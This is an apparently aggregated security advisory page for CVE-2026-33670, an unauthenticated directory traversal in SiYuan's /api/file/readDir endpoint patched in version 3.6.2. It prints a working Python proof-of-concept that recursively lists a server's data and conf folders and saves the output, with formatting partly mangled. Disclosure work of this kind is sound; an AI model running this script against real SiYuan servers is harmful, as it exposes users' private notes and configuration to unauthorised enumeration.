CVE-2026-33670: SiYuan has directory traversal within its publishing service

Published Mar 25, 2026
·
Updated

Details

The /api/file/readDir interface was used to traverse and retrieve the file names of all documents under a notebook.

PoC

python #!/usr/bin/env python3 """POC: SiYuan /api/file/readDir 未鉴权目录遍历""" import requests, json, sys

def poc(target): base = target.rstrip("/") url = f"{base}/api/file/readDir"

def readdir(path, depth=0, maxdepth=4): try: r = requests.post(url, json={"path":path}, headers={"Content-Type":"application/json"}, timeout=10) data = r.json() except Exception as e: return if data.get("code") != 0: return

entries = data.get("data") or [] for entry in entries: name = entry.get("name","") if name.startswith("."): continue icon = "📁" if entry.get("isDir") else "📄" indent = " " depth print(f" {indent}{icon} {name}")

if entry.get("isDir") and depth < maxdepth: readdir(f"{path}/{name}", depth+1, maxdepth)

# 遍历根目录 print("[+] 漏洞存在!开始遍历\n") print(" 📂 data/") readdir("data", maxdepth=2)

print("\n 📂 conf/") readdir("conf", maxdepth=2)

# 保存 try: r = requests.post(url, json={"path":"data"}, headers={"Content-Type":"application/json"}, timeout=10) with open("readdir.json","w",encoding="utf-8") as f: json.dump(r.json(), f, ensureascii=False, indent=2) print(f"\n[+] 根目录数据已保存: readdir.json") except: pass

if name == "main": poc(sys.argv[1] if len(sys.argv)>1 else "http://172.18.40.184")

Impact

Directory traversal vulnerability: The entire directory structure of a notebook could be obtained, and then a file reading vulnerability could be exploited to achieve arbitrary document reading.

资源文件夹

<img width="943" height="794" alt="image" src="https://github.com/user-attachments/assets/c97fcc42-183e-4c83-8a27-cf99bf805038" />

插件文件夹

<img width="826" height="921" alt="image" src="https://github.com/user-attachments/assets/925d4512-e4c0-4b3b-bf96-5639ec572705" />

conf文件夹

<img width="730" height="834" alt="image" src="https://github.com/user-attachments/assets/2a0c23b9-2d87-4421-977d-687f47726741" />

Other sources

SiYuan is a personal knowledge management system. Prior to version 3.6.2, the /api/file/readDir interface was used to traverse and retrieve the file names of all documents under a notebook. Version 3.6.2 patches the issue.

MITRE

Affected Software

2 affected components
go/github.com/siyuan-note/siyuan/kernel<=0.0.0-20260317012524-fe4523fff2c8
b3log SiYuan<3.6.2

Event History

Mar 25, 2026
Advisory Published
via GitHub·07:38 PM
Data Sourced
via GitHub·07:38 PM
DescriptionSeverityWeaknessAffected Software
Mar 26, 2026
CVE Published
via MITRE·09:15 PM
Data Sourced
via MITRE·09:15 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·10:16 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-33670?

CVE-2026-33670 has been classified as a medium severity vulnerability due to its potential for unauthorized file access.

2

How do I fix CVE-2026-33670?

To fix CVE-2026-33670, ensure proper authentication measures are implemented for the /api/file/readDir interface.

3

What systems are affected by CVE-2026-33670?

CVE-2026-33670 affects versions of SiYuan Note kernel up to and including 0.0.0-20260317012524-fe4523fff2c8.

4

What type of vulnerability is CVE-2026-33670?

CVE-2026-33670 is a directory traversal vulnerability that can expose sensitive file names.

5

Can CVE-2026-33670 be exploited remotely?

Yes, CVE-2026-33670 can be exploited remotely if the affected interface is accessible over the internet.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203